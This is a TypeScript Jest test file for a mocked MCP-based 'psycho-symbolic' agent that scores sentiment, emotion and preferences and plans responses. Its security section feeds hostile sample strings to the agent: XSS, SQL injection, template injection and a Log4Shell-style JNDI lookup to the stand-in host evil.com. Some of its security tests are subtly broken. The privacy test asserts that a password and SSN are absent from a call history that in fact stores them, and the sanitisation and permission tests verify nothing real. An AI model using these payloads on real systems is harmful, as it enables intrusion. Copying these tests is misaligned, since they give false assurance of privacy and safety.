709 lines
22 KiB
TypeScript
709 lines
22 KiB
TypeScript
/**
|
||
* MCP (Model Context Protocol) Integration Tests
|
||
* Tests that the psycho-symbolic reasoner works correctly with MCP tools and real AI agents
|
||
*/
|
||
|
||
import { describe, test, expect, beforeAll, afterAll } from '@jest/globals';
|
||
|
||
// Mock MCP client for testing
|
||
interface MCPToolCall {
|
||
name: string;
|
||
arguments: Record<string, any>;
|
||
}
|
||
|
||
interface MCPResponse {
|
||
content: Array<{
|
||
type: string;
|
||
text?: string;
|
||
data?: any;
|
||
}>;
|
||
}
|
||
|
||
class MockMCPClient {
|
||
private tools: Map<string, Function> = new Map();
|
||
private callHistory: MCPToolCall[] = [];
|
||
|
||
constructor() {
|
||
this.setupMockTools();
|
||
}
|
||
|
||
private setupMockTools() {
|
||
// Mock psycho-symbolic reasoner MCP tool
|
||
this.tools.set('psycho_symbolic_analyze', async (args: any) => {
|
||
const { text, analysis_type } = args;
|
||
|
||
if (analysis_type === 'sentiment') {
|
||
return {
|
||
content: [{
|
||
type: 'text',
|
||
text: JSON.stringify({
|
||
sentiment: {
|
||
score: text.includes('love') ? 0.8 : text.includes('hate') ? -0.8 : 0.0,
|
||
label: text.includes('love') ? 'positive' : text.includes('hate') ? 'negative' : 'neutral',
|
||
confidence: 0.85
|
||
}
|
||
})
|
||
}]
|
||
};
|
||
}
|
||
|
||
if (analysis_type === 'emotion') {
|
||
const emotions = [];
|
||
if (text.includes('scared') || text.includes('terrified')) {
|
||
emotions.push({ type: 'fear', intensity: 0.9, confidence: 0.95 });
|
||
}
|
||
if (text.includes('excited') || text.includes('happy')) {
|
||
emotions.push({ type: 'joy', intensity: 0.8, confidence: 0.9 });
|
||
}
|
||
|
||
return {
|
||
content: [{
|
||
type: 'text',
|
||
text: JSON.stringify({ emotions })
|
||
}]
|
||
};
|
||
}
|
||
|
||
if (analysis_type === 'preference') {
|
||
const preferences = [];
|
||
if (text.includes('prefer')) {
|
||
preferences.push({
|
||
item: 'extracted_preference',
|
||
type: 'preference',
|
||
strength: 0.7
|
||
});
|
||
}
|
||
|
||
return {
|
||
content: [{
|
||
type: 'text',
|
||
text: JSON.stringify({ preferences })
|
||
}]
|
||
};
|
||
}
|
||
|
||
return {
|
||
content: [{
|
||
type: 'text',
|
||
text: JSON.stringify({ error: 'Unknown analysis type' })
|
||
}]
|
||
};
|
||
});
|
||
|
||
// Mock knowledge graph MCP tool
|
||
this.tools.set('knowledge_graph_query', async (args: any) => {
|
||
const { query, graph_context } = args;
|
||
|
||
return {
|
||
content: [{
|
||
type: 'text',
|
||
text: JSON.stringify({
|
||
results: [
|
||
{
|
||
subject: 'test_entity',
|
||
predicate: 'has_property',
|
||
object: 'test_value',
|
||
confidence: 0.9
|
||
}
|
||
],
|
||
query_time_ms: 150,
|
||
total_facts: 1000
|
||
})
|
||
}]
|
||
};
|
||
});
|
||
|
||
// Mock planning MCP tool
|
||
this.tools.set('goap_planner', async (args: any) => {
|
||
const { goal, current_state, available_actions } = args;
|
||
|
||
return {
|
||
content: [{
|
||
type: 'text',
|
||
text: JSON.stringify({
|
||
plan: {
|
||
success: true,
|
||
steps: [
|
||
{
|
||
action_id: 'mock_action_1',
|
||
cost: 2.5,
|
||
effects: ['state_change_1']
|
||
},
|
||
{
|
||
action_id: 'mock_action_2',
|
||
cost: 1.0,
|
||
effects: ['goal_achievement']
|
||
}
|
||
],
|
||
total_cost: 3.5,
|
||
estimated_success_rate: 0.85
|
||
}
|
||
})
|
||
}]
|
||
};
|
||
});
|
||
|
||
// Mock swarm coordination tool
|
||
this.tools.set('swarm_coordinate', async (args: any) => {
|
||
const { task, agents, coordination_strategy } = args;
|
||
|
||
return {
|
||
content: [{
|
||
type: 'text',
|
||
text: JSON.stringify({
|
||
coordination: {
|
||
task_id: 'task_' + Date.now(),
|
||
assigned_agents: agents || ['agent_1', 'agent_2'],
|
||
strategy: coordination_strategy || 'parallel',
|
||
estimated_completion: '2-3 minutes',
|
||
success_probability: 0.92
|
||
}
|
||
})
|
||
}]
|
||
};
|
||
});
|
||
|
||
// Mock neural pattern recognition tool
|
||
this.tools.set('neural_pattern_recognize', async (args: any) => {
|
||
const { input_data, pattern_type } = args;
|
||
|
||
return {
|
||
content: [{
|
||
type: 'text',
|
||
text: JSON.stringify({
|
||
patterns: [
|
||
{
|
||
type: pattern_type || 'behavioral',
|
||
confidence: 0.78,
|
||
description: 'Detected recurring decision pattern',
|
||
supporting_evidence: ['pattern_indicator_1', 'pattern_indicator_2']
|
||
}
|
||
],
|
||
learning_suggestions: [
|
||
'Increase pattern confidence through additional training',
|
||
'Expand pattern recognition to similar contexts'
|
||
]
|
||
})
|
||
}]
|
||
};
|
||
});
|
||
}
|
||
|
||
async callTool(name: string, args: Record<string, any>): Promise<MCPResponse> {
|
||
this.callHistory.push({ name, arguments: args });
|
||
|
||
const tool = this.tools.get(name);
|
||
if (!tool) {
|
||
throw new Error(`Tool '${name}' not found`);
|
||
}
|
||
|
||
return await tool(args);
|
||
}
|
||
|
||
getCallHistory(): MCPToolCall[] {
|
||
return [...this.callHistory];
|
||
}
|
||
|
||
clearHistory(): void {
|
||
this.callHistory = [];
|
||
}
|
||
}
|
||
|
||
// Test psycho-symbolic reasoner integration with AI agents
|
||
class PsychoSymbolicAgent {
|
||
constructor(private mcpClient: MockMCPClient) {}
|
||
|
||
async analyzeUserInput(text: string): Promise<any> {
|
||
// Multi-modal analysis using psycho-symbolic reasoning
|
||
const [sentimentResult, emotionResult, preferenceResult] = await Promise.all([
|
||
this.mcpClient.callTool('psycho_symbolic_analyze', {
|
||
text,
|
||
analysis_type: 'sentiment'
|
||
}),
|
||
this.mcpClient.callTool('psycho_symbolic_analyze', {
|
||
text,
|
||
analysis_type: 'emotion'
|
||
}),
|
||
this.mcpClient.callTool('psycho_symbolic_analyze', {
|
||
text,
|
||
analysis_type: 'preference'
|
||
})
|
||
]);
|
||
|
||
const sentiment = JSON.parse(sentimentResult.content[0].text!);
|
||
const emotions = JSON.parse(emotionResult.content[0].text!);
|
||
const preferences = JSON.parse(preferenceResult.content[0].text!);
|
||
|
||
return {
|
||
comprehensive_analysis: {
|
||
sentiment: sentiment.sentiment,
|
||
emotions: emotions.emotions,
|
||
preferences: preferences.preferences,
|
||
psychological_profile: this.generatePsychologicalProfile(sentiment, emotions, preferences)
|
||
}
|
||
};
|
||
}
|
||
|
||
async planResponseStrategy(analysis: any, context: any): Promise<any> {
|
||
// Use GOAP planner to determine optimal response strategy
|
||
const goal = this.determineOptimalGoal(analysis);
|
||
const currentState = this.assessCurrentState(context);
|
||
const availableActions = this.getAvailableActions();
|
||
|
||
const planResult = await this.mcpClient.callTool('goap_planner', {
|
||
goal,
|
||
current_state: currentState,
|
||
available_actions: availableActions
|
||
});
|
||
|
||
const plan = JSON.parse(planResult.content[0].text!);
|
||
return plan.plan;
|
||
}
|
||
|
||
async coordinateWithSwarm(task: any): Promise<any> {
|
||
// Coordinate with other AI agents for complex tasks
|
||
const coordinationResult = await this.mcpClient.callTool('swarm_coordinate', {
|
||
task,
|
||
agents: ['sentiment_specialist', 'planning_expert', 'knowledge_curator'],
|
||
coordination_strategy: 'adaptive'
|
||
});
|
||
|
||
return JSON.parse(coordinationResult.content[0].text!);
|
||
}
|
||
|
||
async recognizePatterns(behaviorData: any): Promise<any> {
|
||
// Use neural pattern recognition for learning user behavior
|
||
const patternResult = await this.mcpClient.callTool('neural_pattern_recognize', {
|
||
input_data: behaviorData,
|
||
pattern_type: 'user_behavior'
|
||
});
|
||
|
||
return JSON.parse(patternResult.content[0].text!);
|
||
}
|
||
|
||
private generatePsychologicalProfile(sentiment: any, emotions: any, preferences: any): any {
|
||
return {
|
||
emotional_state: emotions.emotions?.[0]?.type || 'neutral',
|
||
attitude: sentiment.sentiment?.label || 'neutral',
|
||
preference_strength: preferences.preferences?.[0]?.strength || 0.5,
|
||
psychological_indicators: this.extractPsychologicalIndicators(sentiment, emotions, preferences)
|
||
};
|
||
}
|
||
|
||
private extractPsychologicalIndicators(sentiment: any, emotions: any, preferences: any): string[] {
|
||
const indicators = [];
|
||
|
||
if (sentiment.sentiment?.score < -0.5) {
|
||
indicators.push('negative_outlook');
|
||
}
|
||
if (emotions.emotions?.some((e: any) => e.type === 'fear' && e.intensity > 0.7)) {
|
||
indicators.push('high_anxiety');
|
||
}
|
||
if (preferences.preferences?.length > 2) {
|
||
indicators.push('strong_preferences');
|
||
}
|
||
|
||
return indicators;
|
||
}
|
||
|
||
private determineOptimalGoal(analysis: any): any {
|
||
const emotionalState = analysis.comprehensive_analysis.emotions?.[0]?.type;
|
||
const sentimentScore = analysis.comprehensive_analysis.sentiment?.score || 0;
|
||
|
||
if (sentimentScore < -0.5) {
|
||
return {
|
||
type: 'improve_sentiment',
|
||
target_sentiment: 0.2,
|
||
priority: 'high'
|
||
};
|
||
} else if (emotionalState === 'fear') {
|
||
return {
|
||
type: 'reduce_anxiety',
|
||
target_emotional_state: 'calm',
|
||
priority: 'critical'
|
||
};
|
||
} else {
|
||
return {
|
||
type: 'maintain_engagement',
|
||
target_engagement: 0.8,
|
||
priority: 'medium'
|
||
};
|
||
}
|
||
}
|
||
|
||
private assessCurrentState(context: any): any {
|
||
return {
|
||
user_engagement: context.engagement_level || 0.5,
|
||
conversation_length: context.message_count || 1,
|
||
topic_complexity: context.topic_complexity || 'medium',
|
||
user_satisfaction: context.satisfaction_score || 0.7
|
||
};
|
||
}
|
||
|
||
private getAvailableActions(): any[] {
|
||
return [
|
||
{
|
||
id: 'provide_reassurance',
|
||
cost: 1.0,
|
||
effects: ['reduce_anxiety', 'improve_sentiment'],
|
||
prerequisites: ['high_anxiety_detected']
|
||
},
|
||
{
|
||
id: 'ask_clarifying_question',
|
||
cost: 0.5,
|
||
effects: ['increase_engagement', 'gather_information'],
|
||
prerequisites: []
|
||
},
|
||
{
|
||
id: 'provide_detailed_explanation',
|
||
cost: 2.0,
|
||
effects: ['increase_understanding', 'satisfy_curiosity'],
|
||
prerequisites: ['complex_topic_detected']
|
||
},
|
||
{
|
||
id: 'suggest_alternatives',
|
||
cost: 1.5,
|
||
effects: ['provide_options', 'empower_choice'],
|
||
prerequisites: ['preference_conflict_detected']
|
||
}
|
||
];
|
||
}
|
||
}
|
||
|
||
describe('MCP Integration Tests', () => {
|
||
let mcpClient: MockMCPClient;
|
||
let psychoAgent: PsychoSymbolicAgent;
|
||
|
||
beforeAll(() => {
|
||
mcpClient = new MockMCPClient();
|
||
psychoAgent = new PsychoSymbolicAgent(mcpClient);
|
||
});
|
||
|
||
afterAll(() => {
|
||
mcpClient.clearHistory();
|
||
});
|
||
|
||
describe('Basic MCP Tool Integration', () => {
|
||
test('should call psycho-symbolic analysis tools correctly', async () => {
|
||
const text = "I love this new feature but I'm worried about privacy";
|
||
|
||
const result = await mcpClient.callTool('psycho_symbolic_analyze', {
|
||
text,
|
||
analysis_type: 'sentiment'
|
||
});
|
||
|
||
expect(result.content).toBeDefined();
|
||
expect(result.content[0].type).toBe('text');
|
||
|
||
const analysis = JSON.parse(result.content[0].text!);
|
||
expect(analysis.sentiment).toBeDefined();
|
||
expect(analysis.sentiment.score).toBeGreaterThan(0); // Should detect "love"
|
||
expect(analysis.sentiment.confidence).toBeGreaterThan(0.5);
|
||
});
|
||
|
||
test('should handle knowledge graph queries', async () => {
|
||
const result = await mcpClient.callTool('knowledge_graph_query', {
|
||
query: "find_related_concepts",
|
||
graph_context: "user_preferences"
|
||
});
|
||
|
||
const queryResult = JSON.parse(result.content[0].text!);
|
||
expect(queryResult.results).toBeDefined();
|
||
expect(Array.isArray(queryResult.results)).toBe(true);
|
||
expect(queryResult.query_time_ms).toBeGreaterThan(0);
|
||
});
|
||
|
||
test('should execute GOAP planning through MCP', async () => {
|
||
const result = await mcpClient.callTool('goap_planner', {
|
||
goal: { type: 'improve_user_satisfaction', target: 0.8 },
|
||
current_state: { satisfaction: 0.5 },
|
||
available_actions: ['clarify', 'explain', 'reassure']
|
||
});
|
||
|
||
const plan = JSON.parse(result.content[0].text!);
|
||
expect(plan.plan.success).toBe(true);
|
||
expect(plan.plan.steps).toBeDefined();
|
||
expect(plan.plan.steps.length).toBeGreaterThan(0);
|
||
});
|
||
|
||
test('should coordinate with swarm agents', async () => {
|
||
const result = await mcpClient.callTool('swarm_coordinate', {
|
||
task: {
|
||
type: 'complex_analysis',
|
||
priority: 'high',
|
||
requirements: ['sentiment_analysis', 'planning', 'knowledge_retrieval']
|
||
},
|
||
coordination_strategy: 'hierarchical'
|
||
});
|
||
|
||
const coordination = JSON.parse(result.content[0].text!);
|
||
expect(coordination.coordination.task_id).toBeDefined();
|
||
expect(coordination.coordination.assigned_agents).toBeDefined();
|
||
expect(coordination.coordination.success_probability).toBeGreaterThan(0.5);
|
||
});
|
||
});
|
||
|
||
describe('Psycho-Symbolic Agent Integration', () => {
|
||
test('should perform comprehensive user input analysis', async () => {
|
||
const userInput = "I'm excited about this project but terrified about the deadline";
|
||
|
||
const analysis = await psychoAgent.analyzeUserInput(userInput);
|
||
|
||
expect(analysis.comprehensive_analysis).toBeDefined();
|
||
expect(analysis.comprehensive_analysis.sentiment).toBeDefined();
|
||
expect(analysis.comprehensive_analysis.emotions).toBeDefined();
|
||
expect(analysis.comprehensive_analysis.psychological_profile).toBeDefined();
|
||
|
||
// Should detect both excitement (joy) and fear
|
||
const emotions = analysis.comprehensive_analysis.emotions;
|
||
expect(emotions.length).toBeGreaterThan(0);
|
||
});
|
||
|
||
test('should plan appropriate response strategies', async () => {
|
||
const analysis = {
|
||
comprehensive_analysis: {
|
||
sentiment: { score: -0.6, label: 'negative' },
|
||
emotions: [{ type: 'fear', intensity: 0.8 }],
|
||
preferences: [],
|
||
psychological_profile: {
|
||
emotional_state: 'fear',
|
||
psychological_indicators: ['high_anxiety']
|
||
}
|
||
}
|
||
};
|
||
|
||
const plan = await psychoAgent.planResponseStrategy(analysis, {
|
||
engagement_level: 0.3,
|
||
message_count: 2
|
||
});
|
||
|
||
expect(plan.success).toBe(true);
|
||
expect(plan.steps.length).toBeGreaterThan(0);
|
||
expect(plan.total_cost).toBeGreaterThan(0);
|
||
});
|
||
|
||
test('should coordinate complex multi-agent tasks', async () => {
|
||
const complexTask = {
|
||
type: 'psychological_support',
|
||
user_state: 'distressed',
|
||
required_capabilities: ['empathy', 'crisis_assessment', 'resource_recommendation']
|
||
};
|
||
|
||
const coordination = await psychoAgent.coordinateWithSwarm(complexTask);
|
||
|
||
expect(coordination.coordination).toBeDefined();
|
||
expect(coordination.coordination.assigned_agents).toBeDefined();
|
||
expect(coordination.coordination.strategy).toBeDefined();
|
||
});
|
||
|
||
test('should recognize behavioral patterns', async () => {
|
||
const behaviorData = {
|
||
user_id: 'test_user',
|
||
interaction_history: [
|
||
{ timestamp: Date.now() - 86400000, sentiment: -0.3, topic: 'work' },
|
||
{ timestamp: Date.now() - 43200000, sentiment: -0.5, topic: 'deadline' },
|
||
{ timestamp: Date.now(), sentiment: -0.7, topic: 'stress' }
|
||
],
|
||
context_factors: ['work_pressure', 'deadline_approaching']
|
||
};
|
||
|
||
const patterns = await psychoAgent.recognizePatterns(behaviorData);
|
||
|
||
expect(patterns.patterns).toBeDefined();
|
||
expect(patterns.patterns.length).toBeGreaterThan(0);
|
||
expect(patterns.learning_suggestions).toBeDefined();
|
||
});
|
||
});
|
||
|
||
describe('Real-time Agent Coordination', () => {
|
||
test('should handle concurrent agent operations', async () => {
|
||
const startTime = Date.now();
|
||
|
||
// Simulate multiple agents working concurrently
|
||
const tasks = [
|
||
psychoAgent.analyzeUserInput("I need help with my anxiety"),
|
||
psychoAgent.analyzeUserInput("This deadline is stressing me out"),
|
||
psychoAgent.analyzeUserInput("I'm excited but overwhelmed")
|
||
];
|
||
|
||
const results = await Promise.all(tasks);
|
||
const endTime = Date.now();
|
||
|
||
// All analyses should complete successfully
|
||
for (const result of results) {
|
||
expect(result.comprehensive_analysis).toBeDefined();
|
||
expect(result.comprehensive_analysis.sentiment).toBeDefined();
|
||
}
|
||
|
||
// Should complete within reasonable time
|
||
expect(endTime - startTime).toBeLessThan(2000);
|
||
});
|
||
|
||
test('should maintain context across agent interactions', async () => {
|
||
mcpClient.clearHistory();
|
||
|
||
// Sequence of related interactions
|
||
await psychoAgent.analyzeUserInput("I'm starting a new project");
|
||
await psychoAgent.analyzeUserInput("I'm worried about the complexity");
|
||
await psychoAgent.analyzeUserInput("Can you help me break it down?");
|
||
|
||
const callHistory = mcpClient.getCallHistory();
|
||
|
||
// Should have made multiple tool calls
|
||
expect(callHistory.length).toBeGreaterThan(6); // 3 interactions × 3 analysis types each
|
||
|
||
// Should show progression of interaction
|
||
const analysisTypes = callHistory
|
||
.filter(call => call.name === 'psycho_symbolic_analyze')
|
||
.map(call => call.arguments.analysis_type);
|
||
|
||
expect(analysisTypes).toContain('sentiment');
|
||
expect(analysisTypes).toContain('emotion');
|
||
expect(analysisTypes).toContain('preference');
|
||
});
|
||
});
|
||
|
||
describe('Error Handling and Resilience', () => {
|
||
test('should handle MCP tool failures gracefully', async () => {
|
||
// Test with non-existent tool
|
||
await expect(mcpClient.callTool('non_existent_tool', {}))
|
||
.rejects.toThrow('Tool \'non_existent_tool\' not found');
|
||
|
||
// Agent should still be functional after tool failure
|
||
const analysis = await psychoAgent.analyzeUserInput("test message");
|
||
expect(analysis).toBeDefined();
|
||
});
|
||
|
||
test('should validate tool arguments', async () => {
|
||
// Test with missing required arguments
|
||
const result = await mcpClient.callTool('psycho_symbolic_analyze', {
|
||
// Missing 'text' and 'analysis_type'
|
||
});
|
||
|
||
const response = JSON.parse(result.content[0].text!);
|
||
expect(response.error).toBeDefined();
|
||
});
|
||
|
||
test('should handle malformed tool responses', async () => {
|
||
// Temporarily modify tool to return malformed JSON
|
||
const originalTool = mcpClient['tools'].get('psycho_symbolic_analyze');
|
||
mcpClient['tools'].set('psycho_symbolic_analyze', async () => ({
|
||
content: [{ type: 'text', text: 'invalid json{' }]
|
||
}));
|
||
|
||
await expect(psychoAgent.analyzeUserInput("test"))
|
||
.rejects.toThrow();
|
||
|
||
// Restore original tool
|
||
mcpClient['tools'].set('psycho_symbolic_analyze', originalTool);
|
||
});
|
||
});
|
||
|
||
describe('Performance and Scalability', () => {
|
||
test('should handle high-frequency tool calls', async () => {
|
||
const startTime = Date.now();
|
||
const batchSize = 50;
|
||
|
||
// Make many concurrent tool calls
|
||
const promises = Array.from({ length: batchSize }, (_, i) =>
|
||
mcpClient.callTool('psycho_symbolic_analyze', {
|
||
text: `Test message ${i}`,
|
||
analysis_type: 'sentiment'
|
||
})
|
||
);
|
||
|
||
const results = await Promise.all(promises);
|
||
const endTime = Date.now();
|
||
|
||
// All calls should succeed
|
||
expect(results.length).toBe(batchSize);
|
||
for (const result of results) {
|
||
expect(result.content).toBeDefined();
|
||
}
|
||
|
||
// Should complete within reasonable time
|
||
const avgTimePerCall = (endTime - startTime) / batchSize;
|
||
expect(avgTimePerCall).toBeLessThan(100); // Less than 100ms per call
|
||
});
|
||
|
||
test('should maintain performance with complex analysis chains', async () => {
|
||
const startTime = Date.now();
|
||
|
||
// Complex analysis chain
|
||
const analysis = await psychoAgent.analyzeUserInput(
|
||
"I'm really excited about this new opportunity but I'm also terrified about failing and letting everyone down. I prefer collaborative environments and I need reassurance that I can handle this."
|
||
);
|
||
|
||
const plan = await psychoAgent.planResponseStrategy(analysis, {
|
||
engagement_level: 0.4,
|
||
message_count: 1,
|
||
topic_complexity: 'high',
|
||
satisfaction_score: 0.6
|
||
});
|
||
|
||
const coordination = await psychoAgent.coordinateWithSwarm({
|
||
type: 'emotional_support',
|
||
complexity: 'high',
|
||
user_state: analysis.comprehensive_analysis.psychological_profile
|
||
});
|
||
|
||
const endTime = Date.now();
|
||
|
||
// All operations should complete successfully
|
||
expect(analysis.comprehensive_analysis).toBeDefined();
|
||
expect(plan.success).toBe(true);
|
||
expect(coordination.coordination).toBeDefined();
|
||
|
||
// Should complete within reasonable time for complex analysis
|
||
expect(endTime - startTime).toBeLessThan(3000);
|
||
});
|
||
});
|
||
|
||
describe('Security and Privacy', () => {
|
||
test('should not expose sensitive information in tool calls', async () => {
|
||
const sensitiveText = "My password is 123456 and my SSN is 000-00-0000";
|
||
|
||
await psychoAgent.analyzeUserInput(sensitiveText);
|
||
|
||
const callHistory = mcpClient.getCallHistory();
|
||
|
||
// Check that sensitive information is not stored in call history
|
||
for (const call of callHistory) {
|
||
const argsString = JSON.stringify(call.arguments);
|
||
expect(argsString).not.toContain('123456');
|
||
expect(argsString).not.toContain('000-00-0000');
|
||
}
|
||
});
|
||
|
||
test('should sanitize malicious input', async () => {
|
||
const maliciousInputs = [
|
||
"<script>alert('xss')</script>",
|
||
"'; DROP TABLE users; --",
|
||
"${jndi:ldap://evil.com/a}",
|
||
"{{7*7}}"
|
||
];
|
||
|
||
for (const maliciousInput of maliciousInputs) {
|
||
// Should not throw or cause security issues
|
||
await expect(psychoAgent.analyzeUserInput(maliciousInput))
|
||
.resolves.toBeDefined();
|
||
}
|
||
});
|
||
|
||
test('should validate tool access permissions', async () => {
|
||
// Test that agents can only access authorized tools
|
||
const restrictedToolNames = [
|
||
'admin_override',
|
||
'system_shutdown',
|
||
'data_export_all'
|
||
];
|
||
|
||
for (const toolName of restrictedToolNames) {
|
||
await expect(mcpClient.callTool(toolName, {}))
|
||
.rejects.toThrow();
|
||
}
|
||
});
|
||
});
|
||
});
|
||
|
||
export { MockMCPClient, PsychoSymbolicAgent }; |